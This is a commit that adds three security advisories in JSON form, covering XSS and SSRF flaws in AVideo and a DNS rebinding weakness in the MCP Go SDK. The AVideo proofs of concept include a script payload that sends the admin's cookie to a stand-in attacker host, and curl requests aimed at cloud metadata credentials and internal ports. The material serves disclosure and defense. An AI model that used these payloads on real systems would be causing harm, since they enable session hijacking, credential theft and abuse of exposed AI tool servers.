Skip to content

Commit 21f6f64

Browse files
1 parent be77055 commit 21f6f64

3 files changed

Lines changed: 187 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jqrj-chh6-8h78",
4+
"modified": "2026-04-01T21:08:14Z",
5+
"published": "2026-04-01T21:08:14Z",
6+
"aliases": [
7+
"CVE-2026-34739"
8+
],
9+
"summary": "AVideo: Reflected XSS via Unescaped ip Parameter in User_Location testIP.php",
10+
"details": "## Summary\n\nThe User_Location plugin's `testIP.php` page reflects the `ip` request parameter directly into an HTML input element without applying `htmlspecialchars()` or any other output encoding. This allows an attacker to inject arbitrary HTML and JavaScript via a crafted URL. Although the page is restricted to admin users, AVideo's `SameSite=None` cookie configuration allows cross-origin exploitation, meaning an attacker can lure an admin to a malicious link that executes JavaScript in their authenticated session.\n\n## Details\n\nAt `plugin/User_Location/testIP.php:16`, the `ip` parameter is read from the request without sanitization:\n\n```php\n$ip = $_REQUEST['ip'];\n```\n\nAt line 34, the value is echoed directly into an HTML input element's `value` attribute:\n\n```php\n<input type=\"text\" name=\"ip\" id=\"ip\" class=\"form-control\" value=\"<?php echo $ip; ?>\">\n```\n\nNo `htmlspecialchars()` is applied, allowing an attacker to break out of the `value` attribute and inject arbitrary HTML/JavaScript.\n\nWhile the page requires admin authentication to access, AVideo sets session cookies with `SameSite=None`. When an admin clicks a link from an external site (email, chat, another website), their session cookie is sent with the request, and the XSS payload executes in the context of their authenticated admin session.\n\n## Proof of Concept\n\n1. Craft a URL with a payload that breaks out of the input value attribute:\n\n```\nhttps://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=\"><script>alert(document.cookie)</script>\n```\n\n2. URL-encoded version for embedding in links:\n\n```\nhttps://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E\n```\n\n3. The resulting HTML rendered in the browser:\n\n```html\n<input type=\"text\" name=\"ip\" id=\"ip\" class=\"form-control\" value=\"\"><script>alert(document.cookie)</script>\">\n```\n\n4. To exploit via cross-origin link (leveraging SameSite=None), host the following on an attacker-controlled page:\n\n```html\n<!-- attacker-page.html -->\n<html>\n<body>\n<p>Click here to check your IP geolocation:</p>\n<a href=\"https://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=%22%3E%3Cscript%3Edocument.location=%27https://attacker.example.com/steal?c=%27%2Bdocument.cookie%3C/script%3E\">\n Check IP Location\n</a>\n</body>\n</html>\n```\n\n5. When an admin clicks the link, their session cookie is sent (due to `SameSite=None`), and the JavaScript executes in their authenticated session.\n\n## Impact\n\nAn attacker can execute arbitrary JavaScript in the context of an admin user's session by sending them a crafted link. Because AVideo uses `SameSite=None` for session cookies, the attack works from any external website. Successful exploitation allows the attacker to steal the admin session cookie, create new admin accounts, modify site configuration, upload malicious plugins, or perform any other admin action.\n\n- **CWE-79**: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)\n- **Severity**: Medium\n\n## Recommended Fix\n\nApply `htmlspecialchars()` when outputting the `$ip` variable at `plugin/User_Location/testIP.php:34`:\n\n```php\n// plugin/User_Location/testIP.php:34\n<input type=\"text\" name=\"ip\" id=\"ip\" class=\"form-control\" value=\"<?php echo htmlspecialchars($ip, ENT_QUOTES, 'UTF-8'); ?>\">\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-jqrj-chh6-8h78"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34739"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/WWBN/AVideo/commit/31e6888e40be89cc2ab27d4cef449f6d8339ffb2"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/WWBN/AVideo"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-79"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-04-01T21:08:14Z",
63+
"nvd_published_at": "2026-03-31T21:16:32Z"
64+
}
65+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-x5vx-vrpf-r45f",
4+
"modified": "2026-04-01T21:08:40Z",
5+
"published": "2026-04-01T21:08:40Z",
6+
"aliases": [
7+
"CVE-2026-34740"
8+
],
9+
"summary": "AVideo: Stored SSRF via Video EPG Link Missing isSSRFSafeURL() Validation",
10+
"details": "## Summary\n\nThe EPG (Electronic Program Guide) link feature in AVideo allows authenticated users with upload permissions to store arbitrary URLs that the server fetches on every EPG page visit. The URL is validated only with PHP's `FILTER_VALIDATE_URL`, which accepts internal network addresses. Although AVideo has a dedicated `isSSRFSafeURL()` function for preventing SSRF, it is not called in this code path. This results in a stored server-side request forgery vulnerability that can be used to scan internal networks, access cloud metadata services, and interact with internal services.\n\n## Details\n\nWhen a user adds or edits a video, the EPG link is stored via `objects/videoAddNew.json.php:119`:\n\n```php\n$obj->setEpg_link($_POST['epg_link']);\n```\n\nThe only validation applied is `FILTER_VALIDATE_URL`, which accepts URLs targeting internal addresses such as `http://127.0.0.1`, `http://169.254.169.254`, or `http://10.0.0.1`.\n\nLater, when the EPG data is parsed, the stored URL is fetched server-side at `objects/EpgParser.php:358`:\n\n```php\n$this->content = @\\file_get_contents($this->url);\n```\n\nThe `file_get_contents()` function follows redirects and supports multiple protocols including `http://`, `https://`, `ftp://`, and depending on PHP configuration, `php://` and other stream wrappers.\n\nThe codebase contains an `isSSRFSafeURL()` function that validates URLs against internal network ranges, but this function is not invoked anywhere in the EPG link processing path.\n\nBecause the URL is stored in the database, every subsequent visit to the EPG page re-triggers the server-side request. This makes the SSRF persistent and repeatable without further attacker interaction.\n\n## Proof of Concept\n\n1. Authenticate as a user with upload permissions.\n\n2. Create or edit a video and set the EPG link to an internal target:\n\n```bash\n# Target the cloud metadata service\ncurl -b \"PHPSESSID=USER_SESSION\" \\\n -X POST \"https://your-avideo-instance.com/objects/videoAddNew.json.php\" \\\n -d \"title=Test+Video&epg_link=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n```\n\n3. Trigger the EPG parser by visiting the video's EPG page, or wait for the next page load that processes EPG data:\n\n```bash\ncurl -b \"PHPSESSID=USER_SESSION\" \\\n \"https://your-avideo-instance.com/plugin/Live/view/Live_schedule/?videos_id=VIDEO_ID\"\n```\n\n4. To scan internal ports, set the EPG link to various internal addresses:\n\n```bash\n# Scan an internal service\ncurl -b \"PHPSESSID=USER_SESSION\" \\\n -X POST \"https://your-avideo-instance.com/objects/videoAddNew.json.php\" \\\n -d \"title=Test+Video&epg_link=http://127.0.0.1:6379/\"\n```\n\n5. The server fetches the URL via `file_get_contents()`. Response differences (timing, error messages, or returned content via EPG display) reveal whether internal services are running.\n\n## Impact\n\nAn authenticated user with upload permissions can force the AVideo server to make HTTP requests to arbitrary internal and external targets. This enables scanning of internal networks, access to cloud instance metadata (potentially exposing IAM credentials on AWS/GCP/Azure), and interaction with internal services that are not intended to be externally accessible. The stored nature of this SSRF means it re-executes on every page visit, amplifying the impact.\n\n- **CWE-918**: Server-Side Request Forgery (SSRF)\n- **Severity**: Medium\n\n## Recommended Fix\n\nAdd an `isSSRFSafeURL()` check before the `file_get_contents()` call at `objects/EpgParser.php:355`:\n\n```php\nif (function_exists('isSSRFSafeURL') && !isSSRFSafeURL($this->url)) {\n throw new \\RuntimeException('URL blocked by SSRF protection');\n}\n```\n\nThis reuses the existing SSRF protection function that is already applied in other code paths.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-x5vx-vrpf-r45f"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34740"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/WWBN/AVideo/commit/677d1a314d46abce457c7b662afbb58b0d9f17a2"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/WWBN/AVideo"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-918"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-04-01T21:08:40Z",
63+
"nvd_published_at": "2026-03-31T21:16:32Z"
64+
}
65+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-xw59-hvm2-8pj6",
4+
"modified": "2026-04-01T21:09:09Z",
5+
"published": "2026-04-01T21:09:09Z",
6+
"aliases": [
7+
"CVE-2026-34742"
8+
],
9+
"summary": "DNS Rebinding Protection Disabled by Default in Model Context Protocol Go SDK for Servers Running on Localhost",
10+
"details": "The Model Context Protocol (MCP) Go SDK does not enable DNS rebinding protection by default for HTTP-based servers. When an HTTP-based MCP server is run on localhost without authentication with `StreamableHTTPHandler` or `SSEHandler`, a malicious website could exploit DNS rebinding to bypass same-origin policy restrictions and send requests to the local MCP server. This could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the user in those limited circumstances.\n\nNote that running HTTP-based MCP servers locally without authentication is not recommended per MCP security best practices. This issue does not affect servers using stdio transport.\n\nServers created via `StreamableHTTPHandler` or `SSEHandler` now have this protection enabled by default when binding to `localhost`. Users are advised to update to version `1.4.0` to receive this automatic protection.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/modelcontextprotocol/go-sdk"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.4.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/modelcontextprotocol/go-sdk/security/advisories/GHSA-xw59-hvm2-8pj6"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/modelcontextprotocol/go-sdk"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-1188"
51+
],
52+
"severity": "HIGH",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-04-01T21:09:09Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)